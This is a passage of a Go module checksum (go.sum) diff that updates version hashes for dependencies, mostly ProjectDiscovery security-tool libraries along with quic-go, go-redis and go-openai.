github.com/projectdiscovery/gostruct v0.0.2 h1:s8gP8ApugGM4go1pA+sVlPDXaWqNP5BBDDSv7VEdG1M= github.com/projectdiscovery/gostruct v0.0.2/go.mod h1:H86peL4HKwMXcQQtEa6lmC8FuD9XFt6gkNR0B/Mu5PE= github.com/projectdiscovery/gozero v0.0.2 h1:8fJeaCjxL9tpm33uG/RsCQs6HGM/NE6eA3cjkilRQ+E= github.com/projectdiscovery/gozero v0.0.2/go.mod h1:d8bZvDWW07LWNYWrwjZ4OO1I0cpkfqaysyDfSs9ibK8= -github.com/projectdiscovery/hmap v0.0.42 h1:+P8CC7gAeTG0phe0d1FB7i3Vl15v1K+dJApwX4rvMAM= -github.com/projectdiscovery/hmap v0.0.42/go.mod h1:lbGBuL/bLoYWdlgphZmHXjZCYzteVDf4WfKsR/aH57c= -github.com/projectdiscovery/httpx v1.6.0 h1:6g4UoSQpsOyZgaK+SMLLnZIAU0eYyTxBUwVl+jtm0JQ= -github.com/projectdiscovery/httpx v1.6.0/go.mod h1:dzMzOWKfeofaXcXzac3O+YmuY24P0CRnviKGxvol6MM= -github.com/projectdiscovery/interactsh v1.1.9 h1:b77SaSGrO+DtivmWwqGGY2dmNlQC3Zgmwlaj9L4Oqvc= -github.com/projectdiscovery/interactsh v1.1.9/go.mod h1:0FRQXCildcTLq7Tsa4BVZAsFCXhpWs4C4quKWigXb5I= -github.com/projectdiscovery/katana v1.1.0 h1:J4EdSss0eoLKs5LRTJn8/BbHZSyJtHY7AW0/YNcWRfk= -github.com/projectdiscovery/katana v1.1.0/go.mod h1:iDtcbSLcEH3dEP+YN950vlrJg8T/h0/u1McyeDF/K+Y= +github.com/projectdiscovery/hmap v0.0.48 h1:pbxoDcwZWSdaqZ3QgaG5Aw1G1qEFN2zeQco6eWeROAo= +github.com/projectdiscovery/hmap v0.0.48/go.mod h1:KMSbPJoIgI+9PkG6alZ0INEMRiIGnND128RUjxiY+8I= +github.com/projectdiscovery/interactsh v1.2.0 h1:Al6jHiR+Usl9egYJDLJaWNHOcH8Rugk8gWMasc8Cmw8= +github.com/projectdiscovery/interactsh v1.2.0/go.mod h1:Wxt0fnzxsfrAZQQlpVrf3xMatP4OXZaZbjuDkIQKdYY= github.com/projectdiscovery/ldapserver v1.0.2-0.20240219154113-dcc758ebc0cb h1:MGtI4oE12ruWv11ZlPXXd7hl/uAaQZrFvrIDYDeVMd8= github.com/projectdiscovery/ldapserver v1.0.2-0.20240219154113-dcc758ebc0cb/go.mod h1:vmgC0DTFCfoCLp0RAfsfYTZZan0QMVs+cmTbH6blfjk= github.com/projectdiscovery/machineid v0.0.0-20240226150047-2e2c51e35983 h1:ZScLodGSezQVwsQDtBSMFp72WDq0nNN+KE/5DHKY5QE= @@ -1008,63 +871,51 @@ github.com/projectdiscovery/mapcidr v1.1.34 h1:udr83vQ7oz3kEOwlsU6NC6o08leJzSDQt github.com/projectdiscovery/mapcidr v1.1.34/go.mod h1:1+1R6OkKSAKtWDXE9RvxXtXPoajXTYX0eiEdkqlhQqQ= github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5 h1:L/e8z8yw1pfT6bg35NiN7yd1XKtJap5Nk6lMwQ0RNi8= github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5/go.mod h1:pGW2ncnTxTxHtP9wzcIJAB+3/NMp6IiuQWd2NK7K+oc= -github.com/projectdiscovery/networkpolicy v0.0.8 h1:XvfBaBwSDNTesSfNQP9VLk3HX9I7x7gHm028TJ5XwI8= -github.com/projectdiscovery/networkpolicy v0.0.8/go.mod h1:xnjNqhemxUPxU+UD5Jgsc3+K8IVmcqT1SJeo6UzMtkI= -github.com/projectdiscovery/nuclei/v3 v3.2.7 h1:jKzFcp69ICuFX4ir1SfD9MVBlaJFn9IMjiRtmlqAy+M= -github.com/projectdiscovery/nuclei/v3 v3.2.7/go.mod h1:BTguwoYU3YClxuDnJAYPUG3DMHZcoSGLhVliFN5sYjU= -github.com/projectdiscovery/ratelimit v0.0.41 h1:hlGYBspQL1ikUFnRFd4NDe1gZQaEoTm2HFxguA8a+6E= -github.com/projectdiscovery/ratelimit v0.0.41/go.mod h1:3764AOAYQZL3mQyJv3GTrIwPye7s3XZGxQHu3Z71YOc= -github.com/projectdiscovery/rawhttp v0.1.49 h1:OPP9R/UZx/GFrcPRUs9fOS1dLwhg+2o7p3dByzkIhWM= -github.com/projectdiscovery/rawhttp v0.1.49/go.mod h1:aaAaMsdzHPfw4yU3nbeP7NI3vy1ZjgoXw7l+m4Tnt94= +github.com/projectdiscovery/networkpolicy v0.0.9 h1:IrlDoYZagNNO8y+7iZeHT8k5izE+nek7TdtvEBwCxqk= +github.com/projectdiscovery/networkpolicy v0.0.9/go.mod h1:XFJ2Lnv8BE/ziQCFjBHMsH1w6VmkPiQtk+NlBpdMU7M= +github.com/projectdiscovery/ratelimit v0.0.45 h1:h28oF+hJ0CHcdBZozT1Go7ppWmzTxSXDKNNh2G1Ot9Q= +github.com/projectdiscovery/ratelimit v0.0.45/go.mod h1:1vSJUseDS7SjNwIBi9wNRcgsMKNTLxy/GfdlLFVbgI4= +github.com/projectdiscovery/rawhttp v0.1.55 h1:OJQmiGRzmZqYNT58rsuPrSqVeNl9P3KjXmFor0Adaog= +github.com/projectdiscovery/rawhttp v0.1.55/go.mod h1:+EAlybGLM2oh9ebdq+P9J0h7ma50jz/rrfzxiqN1t4c= github.com/projectdiscovery/rdap v0.9.1-0.20221108103045-9865884d1917 h1:m03X4gBVSorSzvmm0bFa7gDV4QNSOWPL/fgZ4kTXBxk= github.com/projectdiscovery/rdap v0.9.1-0.20221108103045-9865884d1917/go.mod h1:JxXtZC9e195awe7EynrcnBJmFoad/BNDzW9mzFkK8Sg= -github.com/projectdiscovery/retryabledns v1.0.59 h1:8pMN+VibEBp29RIUior9LXUbx0RsBTjPC0008t2hfGU= -github.com/projectdiscovery/retryabledns v1.0.59/go.mod h1:CwyQLDt9oqNIO/2ArALhAnUHJjZYdvJRSfGERRNPtoQ= -github.com/projectdiscovery/retryablehttp-go v1.0.60 h1:sXbx6Rdh22SZ3AFhY3P7LC+p8GPLlANMgPHlkBXJlv8= -github.com/projectdiscovery/retryablehttp-go v1.0.60/go.mod h1:rgRdV7LSrrTTlvN7yKsYxtvWm39VZB6pgD2t1p1ma64= +github.com/projectdiscovery/retryabledns v1.0.65 h1:wOtMuVkrcrGkzaT8Jixb3BtUcJODXLRz+z9EjftmFsQ= +github.com/projectdiscovery/retryabledns v1.0.65/go.mod h1:lf3xRdFhGh55fWVlzK1oAaDPrsKliqH3gGvsFNAOkCk= +github.com/projectdiscovery/retryablehttp-go v1.0.67 h1:3jCiREsQEWJN2fG3D+i46zJNkq5+GtrLGf+Q77jGgrE= +github.com/projectdiscovery/retryablehttp-go v1.0.67/go.mod h1:LXTRQdTOOmMLJDbw5R9fyYgQKLjwS/l5tVt2wP09FBI= github.com/projectdiscovery/sarif v0.0.1 h1:C2Tyj0SGOKbCLgHrx83vaE6YkzXEVrMXYRGLkKCr/us= github.com/projectdiscovery/sarif v0.0.1/go.mod h1:cEYlDu8amcPf6b9dSakcz2nNnJsoz4aR6peERwV+wuQ= github.com/projectdiscovery/stringsutil v0.0.2 h1:uzmw3IVLJSMW1kEg8eCStG/cGbYYZAja8BH3LqqJXMA= github.com/projectdiscovery/stringsutil v0.0.2/go.mod h1:EJ3w6bC5fBYjVou6ryzodQq37D5c6qbAYQpGmAy+DC0= github.com/projectdiscovery/tlsx v1.1.6 h1:iw2zwKbd2+kRQ8J1G4dLmS0CLyemd/tKz1UzcNsC77A= github.com/projectdiscovery/tlsx v1.1.6/go.mod h1:s7SRRFdrwIZBK/RXXZi4CR/CubqFSvp8h5Bk1srEZIo= -github.com/projectdiscovery/uncover v1.0.7 h1:ut+2lTuvmftmveqF5RTjMWAgyLj8ltPQC7siFy9sj0A= -github.com/projectdiscovery/uncover v1.0.7/go.mod h1:HFXgm1sRPuoN0D4oATljPIdmbo/EEh1wVuxQqo/dwFE= -github.com/projectdiscovery/useragent v0.0.51 h1:0bQqhcuqSvgQUEQgkW0LrxXqOaI1U+46oyhiW5LUJvo= -github.com/projectdiscovery/useragent v0.0.51/go.mod h1:2YM5heuHH3DaNgE2ai0XCT9U6aDwhCZAxQw3VXxkLpk= -github.com/projectdiscovery/utils v0.0.93 h1:IMZFsmQFYZUf7rxpBoZj+53FsNDC/vHsXA+4B4GuGeg= -github.com/projectdiscovery/utils v0.0.93/go.mod h1:2+mWzk5FeYdK9imo5eLk6oVeih0G0wsTff1pzBAh9tk= -github.com/projectdiscovery/wappalyzergo v0.0.122 h1:xfNJ7VNzU/OGlgYtsyB5ppuOHdfWzU2B8cYATwTz54c= -github.com/projectdiscovery/wappalyzergo v0.0.122/go.mod h1:qW0PP+UBMcdQBBnwk+X6YYFs6huKNvn2BOVs4vQPru0= +github.com/projectdiscovery/uncover v1.0.9 h1:s5RbkD/V4r8QcPkys4gTTqMuRSgXq0JprejqLSopN9Y= +github.com/projectdiscovery/uncover v1.0.9/go.mod h1:2PUF3SpB5QNIJ8epaB2xbRzkPaxEAWRDm3Ir2ijt81U= +github.com/projectdiscovery/useragent v0.0.57 h1:y6ML3GVJ6Sq+nhqk2gY9aD0JNaKzfpunJPjPN40eVN4= +github.com/projectdiscovery/useragent v0.0.57/go.mod h1:iChqL4rGApUsdXhAzItirEpMvYYOlruieZE+nqoKpCc= +github.com/projectdiscovery/utils v0.1.5 h1:vjD2ZVtVEEiWNIKIFWkWSxaHnw8wGln8Lyfru6E+BW0= +github.com/projectdiscovery/utils v0.1.5/go.mod h1:NhjK2eVeoXLIZIYBJ2Z7yl6V4sB6Xr5Bzs1GdAqvJZ4= github.com/projectdiscovery/yamldoc-go v1.0.4 h1:eZoESapnMw6WAHiVgRwNqvbJEfNHEH148uthhFbG5jE= github.com/projectdiscovery/yamldoc-go v1.0.4/go.mod h1:8PIPRcUD55UbtQdcfFR1hpIGRWG0P7alClXNGt1TBik= github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= -github.com/prometheus/client_golang v0.9.3-0.20190127221311-3c4408c8b829/go.mod h1:p2iRAGwDERtqlqzRXnrOVns+ignqQo//hLXqYxZYVNs= github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= -github.com/prometheus/client_golang v1.3.0/go.mod h1:hJaj2vgQTGQmVCsAACORcieXFeDPbaTKGT+JTgUa3og= github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M= github.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= github.com/prometheus/client_golang v1.12.1/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY= github.com/prometheus/client_golang v1.14.0/go.mod h1:8vpkKitgIVNcqrRBWh1C4TIUQgYNtG/XQE4E/Zae36Y= github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= -github.com/prometheus/client_model v0.0.0-20190115171406-56726106282f/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/prometheus/client_model v0.1.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/prometheus/client_model v0.3.0/go.mod h1:LDGWKZIo7rky3hgvBe+caln+Dr3dPggB5dvjtD7w9+w= -github.com/prometheus/common v0.2.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= -github.com/prometheus/common v0.7.0/go.mod h1:DjGbpBbp5NYNiECxcL/VnbXCCaQpKd3tt26CguLLsqA= github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo= github.com/prometheus/common v0.26.0/go.mod h1:M7rCNAaPfAosfx8veZJCuw84e35h3Cfd9VFqTh1DIvc= github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+M/gUGO4Hls= github.com/prometheus/common v0.37.0/go.mod h1:phzohg0JFMnBEFGxTDbfu3QyL5GI8gTQJFhYO5B3mfA= github.com/prometheus/common v0.42.0/go.mod h1:xBwqVerjNdUDjgODMpudtOMwlOwf2SaTr1yjz4b7Zbc= github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= -github.com/prometheus/procfs v0.0.0-20190117184657-bf6a532e95b1/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= -github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A= github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU= github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= github.com/prometheus/procfs v0.7.3/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= @@ -1072,13 +923,10 @@ github.com/prometheus/procfs v0.8.0/go.mod h1:z7EfXMXOkbkqb9IINtpCn86r/to3BnA0ua github.com/prometheus/procfs v0.9.0/go.mod h1:+pB4zwohETzFnmlpe6yd2lSc+0/46IYZRB/chUwxUZY= github.com/quic-go/qpack v0.4.0 h1:Cr9BXA1sQS2SmDUWjSofMPNKmvF6IiIfDRmgU0w1ZCo= github.com/quic-go/qpack v0.4.0/go.mod h1:UZVnYIfi5GRk+zI9UMaCPsmZ2xKJP7XBUvVyT1Knj9A= -github.com/quic-go/quic-go v0.43.1 h1:fLiMNfQVe9q2JvSsiXo4fXOEguXHGGl9+6gLp4RPeZQ= -github.com/quic-go/quic-go v0.43.1/go.mod h1:132kz4kL3F9vxhW3CtQJLDVwcFe5wdWeJXXijhsO57M= -github.com/quic-go/quic-go v0.44.0 h1:So5wOr7jyO4vzL2sd8/pD9Kesciv91zSk8BoFngItQ0= -github.com/quic-go/quic-go v0.44.0/go.mod h1:z4cx/9Ny9UtGITIPzmPTXh1ULfOyWh4qGQlpnPcWmek= -github.com/rcrowley/go-metrics v0.0.0-20181016184325-3113b8401b8a/go.mod h1:bCqnVzQkZxMG4s8nGwiZ5l3QUCyqpo9Y+/ZMZ9VjZe4= -github.com/redis/go-redis/v9 v9.5.1 h1:H1X4D3yHPaYrkL5X06Wh6xNVM/pX0Ft4RV0vMGvLBh8= -github.com/redis/go-redis/v9 v9.5.1/go.mod h1:hdY0cQFCN4fnSYT6TkisLufl/4W5UIXyv0b/CLO2V2M= +github.com/quic-go/quic-go v0.45.1 h1:tPfeYCk+uZHjmDRwHHQmvHRYL2t44ROTujLeFVBmjCA= +github.com/quic-go/quic-go v0.45.1/go.mod h1:1dLehS7TIR64+vxGR70GDcatWTOtMX2PUtnKsjbTurI= +github.com/redis/go-redis/v9 v9.5.3 h1:fOAp1/uJG+ZtcITgZOfYFmTKPE7n4Vclj1wZFgRciUU= +github.com/redis/go-redis/v9 v9.5.3/go.mod h1:hdY0cQFCN4fnSYT6TkisLufl/4W5UIXyv0b/CLO2V2M= github.com/refraction-networking/utls v1.6.6 h1:igFsYBUJPYM8Rno9xUuDoM5GQrVEqY4llzEXOkL43Ig= github.com/refraction-networking/utls v1.6.6/go.mod h1:BC3O4vQzye5hqpmDTWUqi4P5DDhzJfkV1tdqtawQIH0= github.com/remeh/sizedwaitgroup v1.0.0 h1:VNGGFwNo/R5+MJBf6yrsr110p0m4/OX4S3DCy7Kyl5E= @@ -1089,31 +937,24 @@ github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJ github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ= github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= -github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= -github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8= github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4= github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= -github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= -github.com/sagikazarmark/locafero v0.4.0 h1:HApY1R9zGo4DBgr7dqsTH/JJxLTTsOt7u6keLGt6kNQ= -github.com/sagikazarmark/locafero v0.4.0/go.mod h1:Pe1W6UlPYUk/+wc/6KFhbORCfqzgYEpgQ3O5fPuL3H4= +github.com/sagikazarmark/locafero v0.6.0 h1:ON7AQg37yzcRPU69mt7gwhFEBwxI6P9T4Qu3N51bwOk= +github.com/sagikazarmark/locafero v0.6.0/go.mod h1:77OmuIc6VTraTXKXIs/uvUxKGUXjE1GbemJYHqdNjX0= github.com/sagikazarmark/slog-shim v0.1.0 h1:diDBnUNK9N/354PgrxMywXnAwEr1QZcOr6gto+ugjYE= github.com/sagikazarmark/slog-shim v0.1.0/go.mod h1:SrcSrq8aKtyuqEI1uvTDTK1arOWRIczQRv+GVI1AkeQ= -github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU= github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d h1:hrujxIzL1woJ7AwssoOcM/tq5JjjG2yYOc8odClEiXA= github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU= github.com/samber/lo v1.39.0 h1:4gTz1wUhNYLhFSKl6O+8peW0v2F4BCY034GRpU9WnuA= github.com/samber/lo v1.39.0/go.mod h1:+m/ZKRl6ClXCE2Lgf3MsQlWfh4bn1bz6CXEOxnEXnEA= -github.com/samuel/go-zookeeper v0.0.0-20190923202752-2cc03de413da/go.mod h1:gi+0XIa01GRL2eRQVjQkKGqKF3SF9vZR/HnPullcV2E= -github.com/sashabaranov/go-openai v1.24.0 h1:4H4Pg8Bl2RH/YSnU8DYumZbuHnnkfioor/dtNlB20D4= -github.com/sashabaranov/go-openai v1.24.0/go.mod h1:lj5b/K+zjTSFxVLijLSTDZuP7adOgerWeFyZLUhAKRg= +github.com/sashabaranov/go-openai v1.26.0 h1:upM565hxdqvCxNzuAcEBZ1XsfGehH0/9kgk9rFVpDxQ= +github.com/sashabaranov/go-openai v1.26.0/go.mod h1:lj5b/K+zjTSFxVLijLSTDZuP7adOgerWeFyZLUhAKRg= github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww= github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= -github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= github.com/segmentio/ksuid v1.0.4 h1:sBo2BdShXjmcugAMwjugoGUdUV0pcxY5mW4xKRn3v4c= github.com/segmentio/ksuid v1.0.4/go.mod h1:/XUiZBD3kVx5SmUOl55voK5yeAbBNNIed+2O73XgrPE= github.com/seh-msft/burpxml v1.0.1 h1:5G3QPSzvfA1WcX7LkxmKBmK2RnNyGviGWnJPumE0nwg= @@ -1122,17 +963,14 @@ github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3 h1:n661drycOFuPLCN github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3/go.mod h1:A0bzQcvG0E7Rwjx0REVgAGH58e96+X0MeOfepqsbeW4= github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI= github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA= -github.com/shirou/gopsutil/v3 v3.24.4 h1:dEHgzZXt4LMNm+oYELpzl9YCqV65Yr/6SfrvgRBtXeU= -github.com/shirou/gopsutil/v3 v3.24.4/go.mod h1:lTd2mdiOspcqLgAnr9/nGi71NkeMpWKdmhuxm9GusH8= +github.com/shirou/gopsutil/v3 v3.24.5 h1:i0t8kL+kQTvpAYToeuiVk3TgDeKOFioZO3Ztz/iZ9pI= +github.com/shirou/gopsutil/v3 v3.24.5/go.mod h1:bsoOS1aStSs9ErQ1WWfxllSeS1K5D+U30r2NfcubMVk= github.com/shoenig/go-m1cpu v0.1.6 h1:nxdKQNcEB6vzgA2E2bvzKIYRuNj7XNJ4S/aRSwKzFtM= github.com/shoenig/go-m1cpu v0.1.6/go.mod h1:1JJMcUBvfNwpq05QDQVAnx3gUHr9IYF7GNg9SUEw2VQ= github.com/shoenig/test v0.6.4 h1:kVTaSd7WLz5WZ2IaoM0RSzRsUD+m8wRR+5qvntpn4LU= github.com/shoenig/test v0.6.4/go.mod h1:byHiCGXqrVaflBLAMq/srcZIHynQPQgeyvkvXnjqq0k= -github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= -github.com/sijms/go-ora v1.3.2 h1:v9Ca63acRbrE5vYlHpABzlOvt8bI1Sj5PCVDwaAJjp8= -github.com/sijms/go-ora v1.3.2/go.mod h1:ZGVmJgxUfyGIVmYgA7MVGEq6BX5aoFECRMtHW5DEcs4= -github.com/sijms/go-ora/v2 v2.8.18 h1:hrmgl0Iognh7XiYDRvFKmSgJW7J05yq7TMljravaXE0= -github.com/sijms/go-ora/v2 v2.8.18/go.mod h1:EHxlY6x7y9HAsdfumurRfTd+v8NrEOTR3Xl4FWlH6xk= +github.com/sijms/go-ora/v2 v2.8.19 h1:7LoKZatDYGi18mkpQTR/gQvG9yOdtc7hPAex96Bqisc= +github.com/sijms/go-ora/v2 v2.8.19/go.mod h1:EHxlY6x7y9HAsdfumurRfTd+v8NrEOTR3Xl4FWlH6xk= github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= github.com/sirupsen/logrus v1.3.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= @@ -1143,15 +981,13 @@ github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= github.com/skeema/knownhosts v1.2.2 h1:Iug2P4fLmDw9f41PB6thxUkNUkJzB5i+1/exaj40L3A= github.com/skeema/knownhosts v1.2.2/go.mod h1:xYbVRSPxqBZFrdmDyMmsOs+uX1UZC3nTN3ThzgDxUwo= -github.com/smacker/go-tree-sitter v0.0.0-20240514083259-c5d1f3f5f99e h1:nOtrYzQNgRipVsrOkYpVU/ZMDS3/+78It68cPBPKy8A= -github.com/smacker/go-tree-sitter v0.0.0-20240514083259-c5d1f3f5f99e/go.mod h1:q99oHDsbP0xRwmn7Vmob8gbSMNyvJ83OauXPSuHQuKE= +github.com/smacker/go-tree-sitter v0.0.0-20240625050157-a31a98a7c0f6 h1:mtD4ESyObQZnRVxHFcaYp2d7jMBDa4WJRXSB1Vszj+A= +github.com/smacker/go-tree-sitter v0.0.0-20240625050157-a31a98a7c0f6/go.mod h1:q99oHDsbP0xRwmn7Vmob8gbSMNyvJ83OauXPSuHQuKE= github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d h1:zE9ykElWQ6/NYmHa3jpm/yHnI4xSofP+UP6SpjHcSeM= github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= github.com/smartystreets/goconvey v0.0.0-20190330032615-68dc04aab96a/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= github.com/smartystreets/goconvey 